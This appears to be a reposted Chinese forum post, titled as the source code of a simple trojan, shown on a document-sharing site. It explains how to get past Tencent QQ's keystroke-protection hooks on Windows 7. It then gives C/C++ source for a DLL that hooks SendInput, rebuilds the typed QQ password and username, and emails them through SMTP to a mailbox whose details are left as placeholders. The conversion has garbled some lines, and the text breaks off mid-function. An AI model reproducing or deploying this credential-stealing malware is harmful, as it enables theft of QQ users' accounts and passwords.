一个简单木马的源代码.docx
《一个简单木马的源代码.docx》由会员分享,可在线阅读,更多相关《一个简单木马的源代码.docx(28页珍藏版)》请在冰豆网上搜索。
一个简单木马的源代码
代码没给大家 讲解,不知道看懂没。
所以,现在我原理给大家说一下,腾讯QQ 安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩SendInput 这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上 真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,if(nRetAddress!
=0x74F3&&nRetAddress!
=0x7374) ,就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs->ki.dwFlags==0)
判断是否是键盘按下,如果是按下,我们就开始记录。
DWORD nRetAddress=0;
_asm
{
mov eax,0
mov ax,[ebp+4]
mov nRetAddress,eax
}
if(nRetAddress!
=0x74F3&&nRetAddress!
=0x7374)
这就是取得是什么地方在调用SendInput.
char key=0;
_asm
{
mov ebx,0x12faa0
mov eax,0
mov al,[ebx]
mov key,al
}
获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。
有人会问为什么我 的文件是User32Hook.cpp 实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll中有一个固定地址 通过[ebp+c]之后也可以获取到 键盘按下的真实按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把 WIN7下地址为0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在 WH_KEYBOARD_LL上下段,然后往上跟就会看到了。
只是这样挂钩USER32.dll的时候光写这个DLL了,就得去修改QQ.EXE文件,修改QQEXE后,他有个自身文件的验证,可以通过修改输入表,替换掉CreateFileW 改变打开的文件,而绕过他的文件验证保护,在首地址写入,加载DLL的代码,立马挂钩USER32.DLL,然后恢复QQ的OEP地址的内存,从新回到QQ的OEP,这样就可以在QQ输入密码的时候早于QQ获得,也不用在挂钩SendInput,后来我发现WH_KEYBOARD_LL钩子中当真实的按键按下时,他也会去调用SendInput虽然是错的按键,但是我们可以通过0x12faa0获得真实的按键,所以我就改写了,代码,这样看起来更简单。
其他的我就不多说,有兴趣的朋友,在分析把!
代码在后面,我会陆续全部贴上
代码:
#include
#include
#include
#pragma comment(lib,"User32.lib")
#include "User32Hook.h"
char g_Password[100]={0};
int g_KeyIndex=0;
BYTE g_OldFunc[8];
BYTE g_NewFunc[8];
FARPROC g_lpHookFunc;
BYTE g_NewFunc2[8]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
DWORD g_lpHookFunc2;
char asciiKey1[]={
'~','1','2','3','4','5','6','7','8','9','0','-','=',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'[',']','\\',';','\'',',','.','/',
'0','1','2','3','4','5','6','7','8','9','*','+','-','.','*'
};
char asciiKey2[]={
'~','1','2','3','4','5','6','7','8','9','0','-','=',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'[',']','\\',';','\'',',','.','/',
'0','1','2','3','4','5','6','7','8','9','*','+','-','.','*'
};
unsigned int asciiTbl[]={
0xFFFFFFC0,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0xFFFFFFBD,0xFFFFFFBB,
0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A,
0xFFFFFFDB,0xFFFFFFDD,0xFFFFFFDC,0xFFFFFFBA,0xFFFFFFDE,0xFFFFFFBC,0xFFFFFFBE,0xFFFFFFBF,
0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6D,0x6E,0x6F
};
UINT WINAPI XwSendInput(UINT nInputs,LPINPUT pInputs,int cbSize)
{
DWORD nRetAddress=0;
_asm
{
mov eax,0
mov ax,[ebp+4]
mov nRetAddress,eax
}
UINT nRet=0;
HookOff();
nRet=SendInput(nInputs,pInputs,cbSize);
HookOn();
if(nRetAddress!
=0x74F3&&nRetAddress!
=0x7374)
{
char key=0;
_asm
{
mov ebx,0x12faa0
mov eax,0
mov al,[ebx]
mov key,al
}
POINT point;
:
:
GetCaretPos(&point);
int postion=point.x/8;
if(pInputs->ki.dwFlags==0)
{
for(int i=0;i<63;i++)
{
if(GetKeyState(VK_NUMLOCK)==0&&i>(63-15))
break;
if(asciiTbl[i]==key)
{
if((GetKeyState(VK_CAPITAL)==1&&GetAsyncKeyState(VK_SHIFT)!
=0)||GetKeyState(VK_CAPITAL)==0&&GetAsyncKeyState(VK_SHIFT)==0)
{
if(postion {
for(int k=g_KeyIndex;k>=postion;k--)
{
g_Password[k+1]=g_Password[k];
}
g_Password[postion]=asciiKey1[i];
g_KeyIndex++;
}
else
g_Password[g_KeyIndex++]=asciiKey1[i];
}
if((GetKeyState(VK_CAPITAL)==1&&GetAsyncKeyState(VK_SHIFT)==0)||(GetKeyState(VK_CAPITAL)==0&&GetAsyncKeyState(VK_SHIFT)!
=0))
{
if(postion {
for(int k=g_KeyIndex;k>=postion;k--)
{
g_Password[k+1]=g_Password[k];
}
g_Password[postion]=asciiKey2[i];
g_KeyIndex++;
}
else
g_Password[g_KeyIndex++]=asciiKey2[i];
}
}
}
if(key==0x8)
{
if(g_KeyIndex>0)
{
g_Password[g_KeyIndex]=0;
g_Password[--g_KeyIndex]=0;
}
}
}
}
return nRet;
}
void InitHookCallBack()
{
g_lpHookFunc=GetProcAddress(GetModuleHandle("user32.dll"),"SendInput");
g_NewFunc[0]=0xe9;
memcpy(g_OldFunc,(char*)g_lpHookFunc,5);
DWORD *pNewFuncAddress=(DWORD*)&g_NewFunc[1];
*pNewFuncAddress=(DWORD)((FARPROC)XwSendInput)-((DWORD)g_lpHookFunc)-5;
}
void HookOn()
{
DWORD dwOleFlag;
WriteProcessMemory(GetCurrentProcess(),(void*)g_lpHookFunc,(void*)g_NewFunc,5,&dwOleFlag);
}
void HookOff()
{
DWORD dwNewFlag;
WriteProcessMemory(GetCurrentProcess(),(void*)g_lpHookFunc,(void*)g_OldFunc,5,&dwNewFlag);
}
木马dll函数的 main.cpp文件的代码
代码:
#include
#include
#include "User32Hook.h"
#include "SendMail.h"
#pragma comment(linker,"/export:
DllCanUnloadNow=Command.DllCanUnloadNow")
#pragma comment(linker,"/export:
DllGetClassObject=Command.DllGetClassObject")
#pragma comment(linker,"/export:
DllMain=Command.DllMain")
#pragma comment(linker,"/export:
DllRegisterServer=Command.DllRegisterServer")
#pragma comment(linker,"/export:
DllUnregisterServer=Command.DllUnregisterServer")
HWND hLoginWindow,hUserName,hUserPwd;
char g_UserName[100]={0};
char g_Version[100]={0};
void WaitLoginWindow()
{
Sleep(1500);
while(true)
{
hLoginWindow=GetForegroundWindow();
POINT pni;
RECT rcWindow;
GetWindowRect(hLoginWindow,&rcWindow);
pni.y=rcWindow.top+115;
pni.x=rcWindow.left+100;
hUserName=WindowFromPoint(pni);
pni.y=rcWindow.top+155;
pni.x=rcWindow.left+100;
hUserPwd=WindowFromPoint(pni);
LONG lStyle = :
:
GetWindowLong(hUserPwd, GWL_STYLE);
if(lStyle & ES_PASSWORD)
break;
Sleep(100);
}
}
DWORD WINAPI ServerThreadProc(LPVOID lpParameter)
{
memset(g_Password,0,100);
WaitLoginWindow();
SendMessage(hUserName,WM_GETTEXT,100,(LPARAM)g_UserName);
SendMessage(hLoginWindow,WM_GETTEXT,100,(LPARAM)g_Version);
while(true)
{
char tempAccounts[100];
:
:
SendMessage(hUserName,WM_GETTEXT,100,(LPARAM)tempAccounts);
if(strcmp(g_UserName,tempAccounts)!
=0&&strlen(tempAccounts)!
=0)
strcpy(g_UserName,tempAccounts);
LONG lStyle = :
:
GetWindowLong(hUserPwd, GWL_STYLE);
if((lStyle & ES_PASSWORD)==0)
break;
Sleep(100);
}
char szContext[64]={0};
sprintf(szContext,"QQ版本:
%s\r\n用户名:
%s\r\n密 码:
%s\r\n",g_Version,g_UserName,g_Password);
SMTPINFO smtpinfo;
strcpy(smtpinfo.SmtpSrvName,"AAAAAAAAAAAAAAAAAAAA");
strcpy(smtpinfo.Port,"25");
strcpy(smtpinfo.UserName,"BBBBBBBBBBBBBBBBBBBB");
strcpy(smtpinfo.Password,"CCCCCCCCCCCCCCCCCCCC");
strcpy(smtpinfo.From,"DDDDDDDDDDDDDDDDDDDD");
strcpy(smtpinfo.To,"EEEEEEEEEEEEEEEEEEEE");
strcpy(smtpinfo.Subject,"*☆‰小五※*提醒-获取到新的QQ!
");
strcpy(smtpinfo.Msg,szContext);
SendMail(&smtpinfo);
return 0;
}
BOOL WINAPI DllMain(__in void * _HDllHandle, __in unsigned _Reason, __in_opt void * _Reserved)
{
switch(_Reason)
{
case DLL_PROCESS_ATTACH:
InitHookCallBack();
HookOn();
CreateThread(NULL,0,ServerThreadProc,0,0,0);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
return 0;
}
User32Hook.h 文件的代码
代码:
void HookOff();
void HookOn();
void InitHookCallBack();
extern char g_Password[100];
SendMail.h文件
代码:
typedef struct _SMTPINFO
{
char SmtpSrvName[32];
char Port[7];
char UserName[16];
char Password[16];
char From[32];
char To[32];
char Subject[32];
char Msg[64];
}SMTPINFO;
//将用户名和密码转换为base64编码
void Base64(unsigned char *chasc,unsigned char *chuue);
int Talk(SOCKET sockid, const char *OkCode, char *pSend);
int SendMail(const SMTPINFO *psmtpinfo);
SendMail.cpp文件中的代码
代码:
#include
#define WIN32_LEAN_AND_MEAN
#include
#include
#include
#include "SendMail.h"
#pragma comment(lib,"ws2_32.lib")
const int buflen = 256;
char buf[buflen];
int i,userlen,passlen;
//---------------------------------------------------------------------
int SendMail(const SMTPINFO *psmtpinfo)
{
//准备网络连接
WSADATA wsadata;
if (WSAStartup(MAKEWORD(2,2),&wsadata) !
= 0)
{
return 1;
}
//创建套接字
SOCKET sockid;
if ((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
{
WSACleanup();
return 1;
}
//得到smtp服务器ip
struct hostent *phostent = gethostbyname(psmtpinfo->SmtpSrvName);
struct sockaddr_in addr;
CopyMemory(&addr.sin_addr.S_un.S_addr,
phostent->h_addr_list[0],
sizeof(addr.sin_addr.S_un.S_addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(psmtpinfo->Port));
ZeroMemory(&addr.sin_zero, 8);
//连接服务器
if (connect(sockid, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
{
goto STOP;
}
if (Talk(sockid, "220", "EHLO sjdf"))
{
goto STOP;
}
if (Talk(sockid, "250", "AUTH LOGIN"))
{
goto STOP;
}
ZeroMemory(buf, buflen);
userlen = lstrlen(psmtpinfo->UserName);
passlen = lstrlen(psmtpinfo->Password);
for(i = 0; i < (userlen%3?
userlen/3+1:
userlen/3); i++)
{
Base64((unsigned char * )(psmtpinfo->UserName + i * 3),(unsigned char * )( buf + i * 4));
}
if (Talk(sockid, "334", buf))
{
goto S